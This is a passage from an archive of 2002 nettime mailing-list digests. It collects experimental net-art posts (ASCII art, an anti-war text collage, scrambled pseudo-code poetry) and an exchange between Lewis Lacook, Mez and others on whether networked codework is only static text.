>   \n> > > -\n> > > : \n> > > -:\n> > >   \n> > > -\n> > > : \n> > > -:\n> > >   \n> > >\n> > >\n> > >\n> > >\n> > >\n> > > . \n> > > c \n> > > .o\n> > > . \n> > > a \n> > >  p\n> > > w \n> > > hw\n> > > .t\n> > >  .\n> >     \n> > \n> > p___\n> > a   \n> > \n> > \n> \n> p____________o____________s_____________t\n> a       r       c       h       i       v       e  \n> http://www.o-o.lt/post\n> \n> \n\n\n\n\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\n    mais    \n            \nveux tu mais \n            \n    veux    \n____________\n\ng.n.a.p.b.l.\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nSubject: Re: copy&paste engines or how do machines produce art pieces. Part #2\nDate: Tue, 20 Aug 2002 23:42:14 +0200 (MEST)\nFrom: =?ISO-8859-1?Q?astr=EBe_galbiatta?= <astreegalbiatta {AT} free.fr>\n\nEn r\u0449ponse \u0440 \u0434 <mi_ga {AT} o-o.lt>:\n\n> &&&&&&&&&&&&&&&&&&\nwhen itry it, :::::::: i love it ::::\n               .,.                    .....,..ann  :a  \n  ..                                          ..v;.  ,.\n. a.              ........:...a,:::..                .a.\n. ..                 ...      .v.  ,.:,::t.             \n...,                .nvn.            ..,:,a ,.          \n;;n.   .,..         ..                 vv.. aa::t:.     \n;;.. a,;,.,                               .a,aa::t.  \nn. .,::..a.:                                 ,...,a,,.\n:..an. ttt:aa..     .....                     .  .a,:,a.\naa,.t  tt...:,n      ,...,..   .      ..         ..v:nn.\n::,,:nvvvnan.    t. ..  .            ..   ::na.avn,n,.\nvvvv,a:.,v,,..   ....  .    .         ..   . ....   n,.\n..v;a  .,,:t.    ,     .... ..       ..n .:   ...   ,a.\n   .a:,na,,.    .   nnn,n.   n,,.  v;.   ..,..t. :a \nt...: ,ann,na    :. av,,nna.. ....    .v : .vnana...:  \n,,n. .nnan.    nan.       .. ...          .;;;....:.  \naaaann .,aan.   .aaa,.,::....    .......    nva..:...  \nnnnn,n. .:,..   .aa,. ......, a.. ...,... . .v.   ,..  .\n,n..     t:.    aaa,............t... ..              .t.\n         t:     ::.    .....,.:. ....:,...        ...,a.\n         tt      t     .,....a .,....            .:,aan.\nt.       ..    .t    ,..  ..n ,. .. ..,         .t,ann.\n::.               .  t........a.:.. ..         .tt,annn.\n,:                ...na:..   .,.t,n..        .tt:aaaaa.\naa            ..  . .v...n....aa,..             .taaaan.\n,.          .,..v;vv,vvv,nn,... .....           .,a,,.\n,;,.  ,.:    v;;;;;;;v,na,,,n,:.             .::,::.\n,;n..,;v    .,vvv,na,::tt:,,aa,..               t:   .\nv;. ,v,.    .,naa,::t..  .,.a,nv,.                    ..\nv;..:v,.   ..na,:ttt.     .... ,                      t \n;;..:nv.   .vna::ttt        ....                        \n;,  anv    v;n,::t                                      \n;..,v,    ;;,t.                                       \n..:,.a    .;;..                  ..       ,n,           \nn.. n.   ..;v..na                tt.      ...           \n.n..:.   .v;,nva                :,:..                 \n .  :    .;;;nna:t. ......       .:anaa,,:,::.       \n    .    ;;;;;v,naaaaaaaa,:.      .:,ann,,,nna.       \n        :;;;;;vv;;vvv,na,:t.   . ..tt......::..         \n\n> \n> lidi wrote:\n>  > Medium-length\n>  > It gets in my\n>  >\n>  > And when I try\n>  > And when I try\n>  > And when I try\n>  > hair is all wa\n>  >\n>  > waxy, waxy, wa\n>  >\n>  > p____________o\n>  > a       r\n> http://www.o-o.l\n>  >\n>  >\n> \n> p____________o____________s_____________t\n> a       r       c       h       i       v       e  \n> http://www.o-o.lt/post\n> \n> \n\n\n\n\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\n    mais    \n            \nveux tu mais \n            \n    veux    \n____________\n\ng.n.a.p.b.l.\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sun, 18 Aug 2002 22:23:33 -0400 (EDT)\nSubject: war\n\n\n\n\n\n\nwar\n___________\nnikuko\n| oo o.oo o.  o|\noo|\nooo .o o.ooo|\no KIILLS  KILLS\no.o  . america\n|  o  .   |\n| oooo.  o|ge marked f\n| oo o.ooo|\n| ooo .o o|\n\n|  o  .   |er <tom967 {AT} \n| oo  .  o|\n| ooo . o |xpunging DO\n| oo  .o o|\n\n|  o  .   |<orishai {AT} ho\n| oo  .o o|1 Aug 18 ma\n| oo o.oo |      (4356\n| oo  .o  |iks:\n| oo o.o  |\n| oo  .o o| [Writing F\n| ooo . oo|  (2168) Re\n|  o  .   |animey logi\n| oo  .o  |imilar thin\n| oo  .o o| about NATO\n| ooo . oo|N   3 Aug 1\n| ooo .o  |upp       (\n| ooo . o |arning 'Rul\n| ooo .o o| Romancewww\n| oo  . oo|/2002/08/16\n| ooo .o  |al/middleea\nAMERIKA\nkills\nNIKUKO\n*/the beginning of the end for planet/*\n.ooo|\n.oo */all distinctions are lost in universal slaughter/*\nHELP US, NIKUKO, help us!\n___________\ni am hidden in your mouth\n| oo o.  o|\no  .   o.o .o  o.oo oooo.  o.ooo|\nooo beyond the certainty of wires\noo|\n.oo .ooo|\nholding me against speech\nelectrical fury and death\nall this is a warning from nikuko\namerika you must obey international law\nstop killing & extinction animals\n| oo o.ooo|'s on PFIAB\n| ooo . o |hich mirror\n| ooo .o  |scription o\n| oo o.   |ter.  vicki\n|  o  .   |om/capitalg\n| oo  .oo |html?bid=3&\n| ooo . o |\n| oo o.ooo|intelligent\n| oo o.o o| you sound\n|  o  .   |ld have fun\n| ooo . oo|ut copied t\n| oo o.ooo|\".]\n| ooo .o o|\n| ooo .o  |\nher...\n| oo o.   |\n|    o. o |\nsouth from no\n| oo o.   |udmila.org\n|  o  .   |\nsp\n| oo  .oo |the amelia\n| ooo . o |son novels\n| oo o.ooo|ites of all\n| oo o.o o|\n|  o  .   |\ngive back what owed\nAMERICA are endless destruction\nplanet sways violent bearings\nnorth south\n___________\ndone 22:18:03\n\n\n===\n\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\n\n\n\n\nnettime unstable digest vol 9\nFri Aug 23 14:55:46 2002\n\n\nSubject: Emp   o\n    From: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\n\nSubject: Re: /55\\dervish\n    From: Joseph Gray <gray {AT} lxis.net>\n\nSubject: Re: Directing Artistic Energies (was:  Re: nato><jitter)\n    From: \"-IID42 Kandinskij  {AT} 27+\" <death {AT} zaphod.terminal.org>\n\nSubject: _This Cybagenic Lattice_ [re][levant][post]\n    From: \"app][lick.ation][end.age\" <netwurker {AT} HOTKEY.NET.AU>\n\nSubject: Re: ::.][afta][B.urn N.scription::\n    From: =?ISO-8859-1?Q?astr=EBe_galbiatta?= <astreegalbiatta {AT} free.fr>\n\nSubject: Re: copy&paste engines or how do machines produce art pieces. Part #2\n    From: =?ISO-8859-1?Q?astr=EBe_galbiatta?= <astreegalbiatta {AT} free.fr>\n\nSubject: war\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\n    \n    \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 24 Aug 2002 14:19:22 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200208260150.g7Q1oIZ24292 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0208/msg00114.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 9"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00112",
                "content": "\n\nDate:         Tue, 20 Aug 2002 07:13:25 -0700\nFrom: lewis lacook <llacook {AT} YAHOO.COM>\nSubject: alt.oids\\\\\\\\\\the curiously strong usenet group!\n\nMEZ:..can u e.laborate on yr view of wot a critics job\nis? and i'd be keen\n2\nkno if u perceive the code.wurks i send to this list r\njust static text\nas\nwell? wot _do_ u admire about my work if it, too, is\nequally conceived\n[by\nu] as static text dressed up in networked drag?\n\nLL: ][][][][][the critics job is to provoke debate\njust like this, which is healthy & should serve to\nwiden my conciousness, as well as yours, and anybody's\nwho wishes to listen....\n\nWHAT I ADMIRE ABOUT YOUR WORK:\n----i love the design...the multimedia aspect (you use\nsound well, you use flash's native button IDE\nwell...)...i like the questions it raises...\n\nis it text in networked drag? sometimes...but works\nlike skin code aren't...they DO depend on the user to\nenact certain parts...it could not exist as a book...\n\n\nMEZ:lewis, this n.capsulates wot i c as the\nfundamental flaw in yr\n[critiquer]\nassertions....at no point when curating the gallery\ndid i claim that\nthe\nworks selected where \"new\"....\n\nLL: EXACTLY! i believe i stated this in my critique...\n\nMEZ:..the important point here is that the works\nillustrate a method of\nworking\nthat is dependant on the net itself 4 construction,\ndissemination, &\ncollaboration, & not dependant on previous models 4\nits actualization,\nnot\nthat they echo a brand-spanking new .ism.......\n\nLL: you're definitely right there, and i believe i\nmentioned that these works were born of the network...\n\nMEZ:u can't just rip these works away from the net\ninfrastructure in which they r dependent, in which\nthey reside.....try\nclicking on an authors name in a book & getting a\npotential\ncommunication\nchannel there??? yr idea of interactivity as being\nvague makes me\nassume\nthat u r quite happy 2 equate interaction with overt\nactionality; click\nN\npoint interactivity which is only 1 [a highly forced\npathway-dependent]\nversion of wot constitutes interaction.......\n\nLL: but i can rip them away from the browser...mailto\nlinks aside, most of these works could occupy a\nbook...my point was they don't depend on the network\nto the extent that doing so would alter them in any\nfundamental way....they aren't liquid...\n(there is, however, the social aspect of the\ninteraction, which i believe you're right about)(could\nthese works have been WRITTEN without the network?\nno)(are they dependent on the network for\nmanifestation? nocan they be printed? yes)(do they\nallow the user to commune with the author, do they\nbreak down the tyrannical hierarchy of authorhood?\nno)(depending on the net for distribution is to me a\nperipheral fact about many of these works====& please\ndon't misunderstand me, i do not believe these works\nare any less complicated for that fact::::::::i\nbelieve \"static\" text (((as i so horridly put it))))\nis at times more dynamic than any network\nart====))))))\n\npoint-and-click is low interactivity====as colin moock\nonce wrote, interactivity achieves its loftiest height\nin the form====i believe that when the user must\ninvest information in the work the degree of communion\nis higher than when the user is following an\nauthor-determined pathway or link=====THIS IS WHAT I\nMEANT WHEN I POINTED OUT MY OWN FAILURES/////\n\nMEZ:well, if u choose 2 completely discount the\narchitectonics & contextual\nnuances of net/code.wurks such as these, and persist\nin ignoring the\nvery\nmechanics that allow these wurks 2 function [ie\nengaging in browser\nusage,\npacket + code driven exchanges etc] as well as the\npotentialities via\nwhich\nthe wurks can unfold then that's yr choice........but\nit unfortunately\nsmaks 2 me of post-hoc defensive reasoning, s.pecially\nfrom some1 as\nintelligent as u.......\n\nLL: but other than the initial handshake common to all\nhtml docs, where do packets figure in here? i didn't\nsee any works that used the serial port...i didn't see\nany works that initiated anything serverside other\nthan the handshake that also happens when i log on to\nyahoo...yahoo's handshake may even be more\ncomplicated, as it involves cookies, remembering\nstate....(once again, this does not make these works\nany less interesting)\n\n\nMEZ:..at base lvl, yes the wurks do function as\ncharacters in a document\n[yes,\nin a document, not in a page; another fundamental\nnetwork|text\ndifference!!]. the point u seemed 2 making in yr\narticle was that these\nnet/code.wurks [can] function as purely\n_static_[offline,\nprintable-yet-maintaining-their-s.sential-form] texts,\nwhich is untrue\n&\nmisleading, not 2 mention ridiculous when considering\ntheir\nconstruction &\ncode dynamism....\n\n\nLL: ====most of the code exists at surface level, and\nisn't functioning code...one can print a book of\ncode...i don't know what you mean by code\ndynamism...sure, they play with code syntax, but not\nmuch actual code is there (JODI, of course....& i've\nseen Jodi's game elsewhere...other than the fact that\nit seems to me to be too self-referential (((i don't\nlike net art that beats me over the head with the fact\nthat it's net art)))), it does represent the type of\nart i'm talking about as crucial in any discussion of\nwhat art i endemic to the internet...what art DEPENDS\non the internet to manifest.....\n\n\nMEZ:(from the gallery intro)The selected code.worker\nprojects are also concerned with the\nwarping of computer language/systems into referential,\naesthetic\nor conceptual compositions that are\nreplicated/sequenced in\nburgeoning incremental waves, resulting in the weave &\nflow of\naccented and disruptive code-emulations. Some are\nweb-based,\nsome are post-game [mangled] patches, and some are\ncaught in\nnet-based circulation and avatar adoption[s]. JODI,\njoe keenan,\nInteger/Netochka Nezvanova, ted warnell, and brian\nlennon\nrewrite the underlying notion[s] of code as\nfunctional/accessible via\nblatant infrastructural rewiring that encourages the\nredirection of\nan absorbers [ie interactors] typical meaning\ngaze/gauge.\"\n\nLL: i have no agrument with this...but the majority\nwas still text...\n\nMEZ:......the works offered _DO NOT_ constitute a text\n[as in print]\nanthology,\nwith all of its structural institutionalized\nsegmentative order.....i\nam\nequating yr use of static text 2 mean offline print, &\nif u cannot\nfactor\nin the very fact of the netwurk in the construction &\nconception of\nwurks\nsuch as these, then *y* not continue publishing yr\nwork offline lewis?\nwot\nis the drawcard here 4 u? r the works that u create\nand send 2 lists\nsuch\nas this only mere static texts in yr opinion? does the\nnetwork offer u\nnothing but spam-like ego-perpetuating allure? i hope\nnot, but am\ncurious 2\nperceive just how u align yr work practice here......\n\nLL: How doesn't it? By virtue of the fact that these\nsame names keep popping up, i'd say that's pretty\ninstitutionalized...\nare the works i send to lists static texts?\nyes...unless it's a link to an interactive work...&\nsome do find their way offline into books and literary\njournals...i'm drawn to the net because it offers a\nway out of the tyranny of authorhood::::a way to\nshort-circuit the ego-driven dynamics of linear\ntext....if the work is a text poem it is a static\nwork, only interactive metaphorically (which is not to\nsay that text isn't one of the most complicated\nmediums there is)===even if the text is produced by a\nprogram i've written, the text itself could (and has)\njust as easily occupy book form with no fundamental\nchange::::the executable itself is not static, and in\nsome cases these are net works...\n====the reason i glorify interactivity is to escape\nego===not to perpetuate it====\n\nMEZ (& previous LL):\n >& that's what i'm looking at\n >net art with, that ideal in my head...i can't do it\n >yet, but i have seen some works that show promise of\n >it...\n\nthis x.plains a great deal.\n\nLL: ...hmmmm...so i offer some criticism of a gallery\nand you attack my work? ah well...\nbliss\nl\n\n\n\n\n\n\n\n\n=====\n\nhttp://www.lewislacook.com/\nhttp://artists.mp3s.com/artists/385/lewis_lacook.html\n\n\n__________________________________________________\nDo You Yahoo!?\nHotJobs - Search Thousands of New Jobs\nhttp://www.hotjobs.com\n\n\n\n\nDate:         Tue, 20 Aug 2002 09:13:59 -0700\nFrom: Soli Psis <solipsis {AT} HEVANET.COM>\nSubject: Re: alt.oids\\\\\\\\\\the curiously strong usenet group!\n\nnot to reveal a buboe in the midst of a \"curing\" but,\n\nfor one thing, TO ME, the whole notion of NET WRITING, NET TEXT, NET\nINTERACTIVITY, all of it, the whole lot is\nso much privileged cate(mon)gorisation..  The entire field of experience is\na living network.. a semiosphere.. \"I\" AM A NETWORK.. the brain is a\nnetwork..the body..  the book is a network. THE ECOSYSTEM AND ITS DIEING IS\nA NETWORK, THE PADEUMA, IE CULTURE, is a network.. putting it country\nsimple, the universe is an energy network.. This privileged category of\nNETWURK.codework.. is just another layer in the total palimpset of network\nintegration.. and saying that text in a book is not interactive is rubbish..\nMARX, hello this is russia.. we read your book.. oops.. look what we did..?\nnot to be sarcastic, but this is like listening to two rats scurrying inside\na pipe maze.. The notion that webcrafted artworks have some monopoly on\n\"true\" interactivity, or should, or ever will, or can at all, is just plain\nhooey.. or that author privilege is some kind of problem.. anything is a\nproblem if you make it a problem.. authorial affect is just another\n\"effect-field\" in a field of total effect.. which is specific contextually..\nplace, time reader etc.. this Barthesian hang-over which has been foisted on\nus, has about as much sap as a wicker commode.. Author Privilege.. Is that\nwhat Baudelaire had.. Lautreamont? Rimbaud? Gertrude Stein? Kathy Acker?\nWhatever! Look, the web offers some new vistas in instantaneity, in\nmodulation of the linear, and mostly in convenience.. other than that, it\nbecomes just another form of bad-breath.. I like books, and they are plenty\ninteractive.. And it is wonderful to make the most of a new cultural\nenvironment, the web.. but the web is also just another outfolding of the\nincredibly complex network of development and biology of the last 15,000\nyears.. I don't need or want to be a netwurker or codeartist or anything of\nthe sort.. there are already chemical, molecular codes seething through my\nbody, engendering my EXPERIENCE.. which is much more interesting than PACKET\nEXCHANGE, and much higher bandwidth.. now that said.. the tone of this may\nbe bellicose.. but I say this in the spirit of zen, as in a board to the\nhead saying wake up.. You are standing in the network, and the network is\nYOU! be creative with it.. repair it.. express it.. I'm just not sure we\nneed a privileged category for computer enabled writing.. its seems\nfrivolous at best and demeaning mostly.. as the letter itself is a fantastic\naccretion and trace of the human network.. Web-based aesthetic discussions\nhave their place, but the web, to me is not the raison d'etre..\n\n\njust a thought\n\nlanny\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nnettime unstable digest vol 8\nFri Aug 23 14:47:51 2002\n\n\nSubject: alt.oids\\\\\\\\\\the curiously strong usenet group!\n    From: lewis lacook <llacook {AT} YAHOO.COM>\n\nSubject: Re: alt.oids\\\\\\\\\\the curiously strong usenet group!\n    From: Soli Psis <solipsis {AT} HEVANET.COM>\n\n    \n    \n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 24 Aug 2002 14:18:47 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200208260103.g7Q13Ni21586 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0208/msg00112.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 8"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00084",
                "content": "\n\nDate:         Mon, 12 Aug 2002 07:51:53 -0700\nFrom: Soli Psis <solipsis {AT} HEVANET.COM>\nSubject: metamolecule\n\n\n\n\n\n\n\n\n          Hat22           |     Heart21-Car2-Head23             \\        =\n     OM            /         Ovid=3DC           |   Hall11-Clap1-Hip13   =\n        |          He12           |   Hex211-Card21-Hort212           /  =\n   Heft22-Clam2-Hill23             \\             OM            /         =\nOver=3DC            \\      Hook11-Cup1-Hull13             |           =\nHarp12             |            Has21-Clock2-Held23                  \\   =\n                OM                   /                Overt=3DC          =\n         \\               Ham12-Climb1-Hilt13                   /         =\n         Hot112-Cook11-Hind111                        |                  =\n    Hooray113                       /                     Ho21      Oh2  =\n                     \\    //                     Hut22-Cut2--Cat1        =\n               /     \\                    Hop23       O1-HO1             =\n       /                    Helio21  Ox2                      \\    //    =\n                Hi22-Caw2--Can1                      /     \\             =\n      Hello23       O1-HOi1                    /                   =\nOink=3DC                   |                   Heel11-Cid1-Howl13        =\n           |                  Hung12                   |                 =\n Happen211-Cause21-Harry212                   /                  =\nHollow22-Cow2-Humm23                       \\                        OM   =\n                     /                       Ovule=3DC                   =\n     \\                        High11-Cinder1-Herb13                      =\n      |                      (-) O3   O1                           \\ /   =\n                         Pop1 (+)                           /  \\         =\n            (-) O4   O2                        /                      =\nHost23-Cry2-Hard22                          |                         =\nHeaven21       =20\n\n\n\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nSubject: then:mustMeanteegraffICCaLL\nDate: Mon, 12 Aug 2002 19:39:58 -0600\n\n\"trueColor\"\npolarizedProcess\nrelationalStructures\nr.skuLLs.iNN.ruralSuRRoundings.\nwrything wit C#\nan.numb.K-ODEsub/knewLetters/wrds/st.rings?\n(phONicaLL)\nsmartLess?\naCCuSS.A.xion.s?\nWHOIS?\nclept.identiclipts?\n-------------------\nwasht.part;\"trueKode\"\ncoloureMangrelle\n----------------\npast.x.st#UNN.r\nknotNumb.eRR\ntestines\ntwistiNN\ntwiNNiNN\n--------\nunnparset\nplustDouble\n+++++++++++\nsigNuLL\n//////\n[EMU oft \"BODY\" <BR>\nparts.oft.mainKode\nframeBrackish\nframeBrackish\ngoto and start\nonLoad numbName\nframeBrackish\nfROM-->post:\nframeBarkistle.in.tween.mov\n\"U\".sLOWly\n-markOUT-\nsingLESS\nyet.stiLL.tuning\n=3DR\napp.\nkom.dot.pleaTTe.post.packt\npilet.k-ODEs\nin C#\nense\niNNshe\nines\nclosERR\ncloseFrame]  =\n\n<--partLips intERRupt K-Lines\nwit DAT same K-ODE.name\n|||..^.._|||||..^..\n|||..|.._|||||..|..\n|||...\\._|||||./...\n|||....\\_|||||/....\n|||.....\\||||/\n|||......\\||/\n|||.......\\/\nSN#...identiKIT\nin.serSEQ.brevit\ne>ate\nRTN\nERR\nRE:comb_U_late/calc\nRND\nDiaLL.GRAM.atticONsole\nasf:OBSO\nRTN\nbareFeed\nn.klist.ICCs\nABS.tractSkein.vein.overCHARSETSentsPOP3vines.clingst.2.clingst\nwasht.K-ODES.clean\nwit.clicks.such.ast.if:\n\"i\"=3D\"e\"\nPROP.o.RRE.xion.aLLs\novERRveint.wit.popORREus.n.2.openTubes\n\"we\" run through cmds like ourcliveaLL_K-Line\nolemine.txt\ncole(.)lapse\nwhilst:\n\"DNC/DNC\"\ntimeStamp\ninDEFknat\nsang2tubes\nmicropORREus.eLLes\noPINgates\nONN4LY\n1rst.read.gliSS\nRE:parts4assemBLYiances\ne.meme.buRRE.DAT?\n2.gatter.wit.K-ODE.calters\niNN.nite\nM.\nstir\nRE:mixt\nx.paRR.eLLes.oGRAM.atticOFFsoles.barefeed.a.grain.oft.fameticBone\nn.ear\nhoLLow\n2.dat.fuLLest.\"we\".clive2org\nsomeme.anyBINs\nknotjusstickING.x.crost.nameSplices\nYET.ratter\nwhilst\"we\"unLIMaLOGofLASTiccellesENTRaries+UNlockettes(H)eld.A.RE:form\nclaptBox\novoicesPREAD.x.crost.geLLest\n(h)ERD.dat.emma.mast?\nustistneverglastisticaLLwaysovERRglastiCC.witcharmelles+newts\nnistles.emma.a.grain.nite\ninglisticaLLes.ONN.mobiLLeseTTes\nfinGERsiCCLLEESSt\nfr33ZINT.mome.ENT.imated.ONN.thistleStamp\nout.a.kodeKlutch\nkringeRRs:\niftCAUSE=3D\"JUST\"\nflowBrackish\nback4ROM:\norre:\nautumn-frequency\n\n\n\n\nDate:         Sat, 17 Aug 2002 14:19:33 +0200\nFrom: + p'tit lo_y r-cyclant + <loy {AT} MYREALBOX.COM>\nSubject: 0\n\n( \" as recycling became the norm \" )\n\n(  {AT} C:\\Eudora\\zzrchive.fol\\text-art.fol\\joekeenan.mbx )\n\n\nsquencIne = o.-lemolS,andi(.  ,th,).s);\n\nht it r  = te;\n\nlec(a=l;   }..; ++){\n\nthis.hala = Ngin.row][(a/])*a;\nrcodmsores = a+p;\n\nAsurrut, = sy..Thare(\nesa...al..^^^....ng(..n..enc(insu.r>\").rO*t,ng.s.so*- +ernert+r()*g + nesa+\nr+n )s,\nande.etran..^^an.riert(Osac.n.s(atop.nsen=sC*amna.sing*. +,firts+ne)*  + roul+\n,)l);\nPusysdex = chsuBses[(\n.jonu....Ndsu.rowar(N.a....n(...n.^r^^^^^*d^ar.eft,*o +reasib+ea)*t +ngisc+\n+[t)a,\nlsgdsiht i eH e..ndex)(Way(.Ara(dput.wi.iceS*ndiw. . h*r +s{)ra.+sa)*n +ring.+\ne)e);\nceTectsiht);.rOws.persan(\nrsymm.hect.sthi iss.sihsu.dw[r].sterna.ver(ysw).hav;1+y(/\\t/r,''),\noponsulemaxCorsyour,\nan.a.va.vesstripOn..amst[.st],\nhei rrien=swhissitso .vesselAr,\ncyinesan.texibm^^ards.ramotr n s.thil.e(anca.idlit R,g\n+[iStal.thi t(Echo.ty.(erea.apsingT*intr.ntha* r)*i+.)t,out.ofr.watme(Ri.e.sen(.....g..ntlU*  to.hil.*nd)*a)l][ire]+\nr)e,\nualivifeterna^ofD ar r.s[hsu]\nessesse );\n\n}\nht ardIrt.thep(of,e,t)...athein\n..............................iht)f,rto..........................\n......................on.l, e r..tual.g,his.....................\n................ja..o ....m..ance.e....an...,tlem...............\n..........d,t...ean.ato...of...a..ntharencintexte,cra...........\n.....opR....) r...h.c..mse. ssihstingof...ndext.text.,..ngt.....\n..alim...n.th...utri..astramstio.....n......erc.nothil.,guncy...\n^^   ..osesa..umplv.l,vil.sselworentedcomp.lan....n..e ...c e  .\n.ceTectic.rof.n.amnoingirgand^^^dnean..svio...i^^^...dunw...ato..\n.tht);t i it o  ...essp;\" \"Mationstr...osu....rde...rts...rA ...\n....-..e tht;,<thi this.sthi a nerces..st.....R ....al..in......\n........io e eh. ht;N<<r o i topRig yt..s.....x....dt...........\n...........r(M tt i ern,e.pwr n rendir..e.....).th..............\n..............g.lds,ranistr , r rth..e..e.).... ................\n................ o evu,wintlurcen,h....^..to...................\n..................cinerna,.ntridthasuddr,ymi....................\n...................xibillingm,ab.rowan..d,u.go,utpr.............\n................,...ted.topRigh r,alabl.o.......+  , ore........\n...........ntr........ra..eredulesseofileanci........t.,.n.s....\n......ceTe............akertuossibirogra.e.   }  .........s,b.io.\n..r.y,n...........wan.s.inewA {.eterntR eh....djace........,=] =\nut,idL........this.r.....adjamm...swothis..........  ......sanc.\na,esa.e....^^nopLe........nsesathistrawlJu...........or(... 0;...\n,^^namna.strut.........e...extColefsn.r.ychs..........orsa.......\n..n^^^^..ngtomb......yswarawl.*thavawor.ye..du......ht){.........\n.....lantlud.........edun..etinernoines.h....=]N.....gg.........\n.....nternes..antrencom....rA r o ethil.......th...er...........\n.....pill it .tuseg to.....y....^^natopo.......newA.............\n.......ram.ter,oseg t thern.scrogr.yb^^a.....onsc...............\n.........tinear,s.sor...ati.ng.rogridt.if(th... s ..............\n...........sital.,....eft,th.tra.peastanth.f..p o ..............\n.......N;0=Nt t r n^,^dint... o i the...lyridetri,..............\n...awlN>9..\"&nb.....ope,...fostramocs....haramslef..............\nyout........) s.... tor(k=,;v.reas r nt..rcurrun...tor..........\nthilabic......fa..oitaki.i.....,..ertusibirtuardme...............\n.sournate.....unsell e.......r rru,..ndplvt=herth.........r,.....\n...y=ficencyintern,........a.olsgurren=swhothiliv.........,.....\n.......ncihsubsspr.s.......t.i it r rourectsibmoc.........d.....\n......llIwo..^^neredif....or(M i iextediscri..ato...............\n......renco, r ..ing.ybedult.sihotrawtepersyon..................\n......near,woRx..n..sthi itercessi rrearranich...g .............\n.......h+ ,.raw..ualivifunw..(N=0 y soultic.to......in..........\n...........e, d i aran.tio...iceTectwen=]lor(k=.................\n.............r,eal,vnc..ol]...str t i a   ....nectses...........\n.............gins,rierct...a,sesan.te.erna..........erct........\n............onuos.el,imatomm.scrammi....andiw.....vele.s r  ....\n...........obss..e....rammetredutpttopR... if(!dzIndp.....eren..\n.......,dcrated........textColspunwint.....lualand^........ rr..\n...rawterna..n^........ tottomaxRoway(.antre,r recrat......s....\n ay==lem......ve........alivern.scar o ,t o...arawl=ma...rs.....\ni..^^and.........ad....adintr rowatheine......w{) ssthic.........\nectionsc...........exte.prendiw; ardif.........al,thept..........\n.ifclor(N...........scas it row+1;v..ern...te..ysdernes..........\n....  t ite.......,ol]){gridtuan.tratice......ngookhoss.........\n.......ctinesspenceTe..osathilablesancen=...swo.-.h..ed.........\n..........ncosuld,lealardefthis.huzzyould.utin.t.....exin.......\n..........ngi..anin.tomption..ernteprna.erenc.......tring.......\n......n ay+1;}e...r.stra.....rowatinern.s,........s.wei ........\n....ires.ra.......carawtexv..g.....r..erto,Le..C t ifu..........\n.Iworesal..........tR t row..ht;)ht){.rathil,theren.............\nen=soren...........;...^^an.inginscas..(ma.pweignis.............\n.ereadirt............widthavaramor(N ;car er..s,lwo..ng..........\n..am..e..es...........rines.scentruc[ ..r.....,tht)fins.........\n.....etingof.s.........awlN>99?\"&nbseg.. ......striehavo.l......\n..........gr..  toch+edcratorecu o n=]..o......^^.essess..[.....\n...............thicp e r  tionstert.og..o...... thi i e ..t.....\n............sspusthi..isibm^n^tso.-ld...k.....ntR {.er...ct.....\n.........plivela........gWidl.orso is........ropo.-...cts.......\n.......larawoRm.........ofr..e.pren=]N[selesac{)++.{th..........\n......is.swentl.........tram.scraworectinsurrieh. ..............\n......l,tantridt........l,vilaratothei.torenca...  tio..........\n........    } o.e.......way(. } orsaces.s....ghd......  } ......\n.........raw{)yadh......Ro ern.strancenc........hi thei..n a....\n...........is.rows=] nselwat.epr.tht;ramm.........^nal(vif.de...\n..............orsyout....and..essp;&nbses...........,.ramnnup...\n........tR ue+ \"Mate.pwrow...lorl.trawotra.......... \"\")\"][w....\n....^^^n^iss..... n rentRo.itedingmetexvirs.........rsymothe....\n...entri..........ancar t reanicss.rawathe,.......height;th.....\nwantra..........la....am..e.pearaw{)lostand..il..rentrams.......\nn.ramoc........gre......hepeasurcencap,blessp...onofing..........\n.ngient.......in,s.....rcsoulab..entlurra.cyskei.t...............\n..sthis.....a,.hu...ete.e'.huzz.stan...ert.ld..ed.,a............\n......e.pr.,irenc'tmthe....dingofrog.. .thi as.....res.s........\n...........r thalaranc......mpthintlyoutri..............n,......\n......t;tiernesancess.....ices.havofr.scencin........alan,raw...\n..ndingin.t...tl s.row][.....lefsndext,within........a.e,ernoi..\nt..etrawo.......appeancih....ceTectio ness.s.........ha,dern.r..\n.veti.trun.....i...ercs.sws[..[cuubrouramso..h......b,rtusibl....\n.rsesstr th......m.. so.-pi...e...etres[..t...^.,^   t ie.......\n....eand^^dne....r.....urramsi itanci ar .... ehepency..........\n......o.hingingtor............r.e 